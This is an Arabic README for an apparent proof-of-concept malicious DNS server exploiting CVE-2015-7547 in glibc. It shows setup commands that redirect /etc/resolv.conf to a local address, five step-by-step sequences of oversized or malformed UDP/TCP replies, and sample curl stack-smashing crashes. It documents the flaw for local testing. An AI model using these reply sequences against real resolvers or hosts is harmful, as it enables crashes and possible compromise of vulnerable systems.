
خادم استغلال PoC لـ CVE-2015-7547
للاختبار على جهاز محلي بإصدار glibc معرض للخطر:
user@localhost:/# echo 'nameserver 127.0.0.127' | sudo tee /etc/resolv.conf
user@localhost:/# echo 'nameserver 127.0.0.127' | sudo tee -a /etc/resolv.conf
user@localhost:/# sudo python3 attack-server.py 127.0.0.127
Starting UDP server on 127.0.0.127:53...
Starting TCP server on 127.0.0.127:53...
ثم، من جلسة طرفية أخرى، نفذ الهجمات كما هو موضح في الأمثلة أدناه.
يتطلب القدرة على إرسال ردود > 2048 بايت عبر UDP وTCP.
تسلسل الهجوم:
رد UDP، > 2048 بايت، رأس/استعلام صالح، تم تعيين علامة TC (يُحدث سوء إدارة المخزن المؤقت وإعادة المحاولة عبر TCP)
رد TCP، رأس/استعلام صالح (يجبر الرد التالي على التخزين في مخزن مؤقت مخصص على المكدس)
رد TCP، > 2048 بايت (يُحدث تجاوز سعة المخزن المؤقت المخصص على المكدس)
مثال:
user@localhost:/# curl http://attack1
*** stack smashing detected ***: curl terminated
Segmentation fault (core dumped)
يتطلب القدرة على إرسال ردود > 2048 بايت عبر UDP.
تسلسل الهجوم:
رد UDP، > 2048 بايت، رأس غير صالح (يُحدث سوء إدارة المخزن المؤقت، لا يُحتسب كاستجابة صالحة)
تجاهل الطلب التالي (يُحدث إعادة محاولة UDP بسبب انتهاء مهلة الاستقصاء)
رد UDP، رأس/استعلام صالح (يجبر الرد التالي على التخزين في مخزن مؤقت مخصص على المكدس)
رد UDP، > 2048 بايت (يُحدث تجاوز سعة المخزن المؤقت المخصص على المكدس)
مثال:
user@localhost:/# curl http://attack2
*** stack smashing detected ***: curl terminated
Segmentation fault (core dumped)
يتطلب القدرة على إرسال ردود > 1024 بايت عبر UDP و> 2048 بايت عبر TCP.
تسلسل الهجوم:
رد UDP، 1024 بايت، رأس/استعلام صالح (يملأ نصف المخزن المؤقت المخصص على المكدس)
رد UDP، > 1024 بايت، رأس/استعلام صالح، تم تعيين علامة TC (يُحدث سوء إدارة المخزن المؤقت وإعادة المحاولة عبر TCP)
رد TCP، رأس/استعلام صالح (يجبر الرد التالي على التخزين في مخزن مؤقت مخصص على المكدس)
رد TCP، > 2048 بايت (يُحدث تجاوز سعة المخزن المؤقت المخصص على المكدس)
مثال:
user@localhost:/# curl http://attack3
*** stack smashing detected ***: curl terminated
Segmentation fault (core dumped)
يتطلب القدرة على إرسال ردود > 2048 بايت عبر UDP.
تسلسل الهجوم:
رد UDP، 2048 بايت، رأس/استعلام صالح (يملأ المخزن المؤقت المخصص على المكدس)
رد UDP (يُحدث سوء إدارة المخزن المؤقت وإعادة محاولة UDP بسبب استقبال مقبس صفر بايت)
رد UDP، رأس/استعلام صالح (يجبر الرد التالي على التخزين في مخزن مؤقت مخصص على المكدس)
رد UDP، > 2048 بايت (يُحدث تجاوز سعة المخزن المؤقت المخصص على المكدس)
مثال:
user@localhost:/# curl http://attack4
*** stack smashing detected ***: curl terminated
Segmentation fault (core dumped)
يتطلب القدرة على إرسال ردود > 2048 بايت عبر TCP وإدخالين على الأقل لخادم الأسماء في /etc/resolv.conf.
تسلسل الهجوم:
رد UDP، رأس/استعلام صالح، تم تعيين علامة TC (اختياري، يُحدث إعادة محاولة عبر TCP إذا كان الاستعلام الأولي عبر UDP)
رد TCP، > 2048 بايت (يُحدث سوء إدارة المخزن المؤقت)
رد TCP، فارغ (يُحدث إعادة محاولة TCP بسبب استقبال مقبس صفر بايت)
رد TCP، رأس/استعلام صالح (يجبر الرد التالي على التخزين في مخزن مؤقت مخصص على المكدس)
رد TCP، > 2048 بايت (يُحدث تجاوز سعة المخزن المؤقت المخصص على المكدس)
مثال:
user@localhost:/# curl http://attack5
*** stack smashing detected ***: curl terminated
Segmentation fault (core dumped)